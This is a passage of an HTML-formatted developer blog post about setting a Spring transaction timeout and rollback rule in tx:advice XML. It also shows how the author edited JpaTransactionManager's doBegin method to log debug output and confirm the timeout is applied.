baseline;">method name</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">=</span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"get*"</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> read</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">-</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">only</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">=</span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"true"</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">/></span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"></span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"><</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">tx</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">:</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">method name</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">=</span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"*"</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> timeout</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">=</span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"10"</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> rollback</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">-</span><span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">for</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">=</span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"ApplicationException"</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">/></span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">tx</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">:</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">attributes</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">></span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">tx</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">:</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">advice</span></span></span></span></code></span></pre>
<span class="Apple-style-span" style="border-collapse: collapse; font-family: Arial, 'Liberation Sans', 'DejaVu Sans', sans-serif; font-size: 14px; line-height: 18px;">
</span></div>
<div>
To verify if my timeout configuration has enabled by spring, I amended the source code of <span class="Apple-style-span" style="border-collapse: collapse; font-family: Arial, 'Liberation Sans', 'DejaVu Sans', sans-serif; font-size: 14px; line-height: 18px;"><strong style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 14px; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">org.springframework.orm.jpa.JpaTransactionManager </strong><span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">to output more debug information.</span></span></div>
<div>
<span class="Apple-style-span" style="border-collapse: collapse; font-family: Arial, 'Liberation Sans', 'DejaVu Sans', sans-serif; font-size: 14px; line-height: 18px;"></span><br />
<pre class="lang-java prettyprint" style="background-attachment: initial; background-clip: initial; background-color: #eeeeee; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, serif; font-size: 14px; margin-bottom: 10px; margin-left: 0px; margin-right: 0px; margin-top: 0px; max-height: 600px; overflow-x: auto; overflow-y: auto; padding-bottom: 5px; padding-left: 5px; padding-right: 5px; padding-top: 5px; vertical-align: baseline; width: auto;"><span class="Apple-style-span" style="border-collapse: collapse; font-family: Arial, 'Liberation Sans', 'DejaVu Sans', sans-serif; font-size: 14px; line-height: 18px;"><code style="background-attachment: initial; background-clip: initial; background-color: #eeeeee; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, serif; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"><span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">protected</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">void</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> doBegin</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">(</span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">Object</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> transaction</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">,</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">TransactionDefinition</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> definition</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">)</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">{</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">...</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">...</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="com" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: grey; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">// Register transaction timeout.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">int</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> timeout </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">=</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> determineTimeout</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; 